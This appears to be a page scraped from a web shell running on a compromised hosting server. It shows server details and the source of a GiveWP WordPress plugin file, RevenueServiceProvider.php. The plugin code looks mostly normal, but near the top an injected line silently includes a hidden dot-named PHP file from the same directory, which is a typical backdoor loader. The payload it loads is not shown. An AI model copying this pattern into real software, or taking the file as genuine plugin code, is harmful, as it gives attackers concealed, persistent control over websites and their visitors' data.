uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Revenue
/
.
/
RevenueServiceProvider.php
/
/
<?php namespace Give\Revenue; use Give\Framework\Migrations\MigrationsRegister; use Give\Helpers\Hooks; use Give\Revenue\Listeners\DeleteRevenueWhenDonationDeleted; use Give\Revenue\Migrations\AddPastDonationsToRevenueTable; use Give\Revenue\Migrations\CreateRevenueTable; use Give\ServiceProviders\ServiceProvider; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class RevenueServiceProvider implements ServiceProvider { /** * @inheritDoc * * @since 2.9.0 */ public function register() { global $wpdb; $wpdb->give_revenue = "{$wpdb->prefix}give_revenue"; } /** * @inheritDoc * * @since 2.9.0 */ public function boot() { $this->registerMigrations(); Hooks::addAction( 'delete_post', DeleteRevenueWhenDonationDeleted::class, '__invoke', 10, 1 ); Hooks::addAction( 'give_insert_payment', DonationHandler::class, 'handle', 999, 1 ); Hooks::addAction( 'give_register_updates', AddPastDonationsToRevenueTable::class, 'register', 10, 1 ); } /** * Registers database migrations with the MigrationsRunner */ private function registerMigrations() { /** @var MigrationsRegister $register */ $register = give( MigrationsRegister::class ); $register->addMigration( CreateRevenueTable::class ); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Revenue/./RevenueServiceProvider.php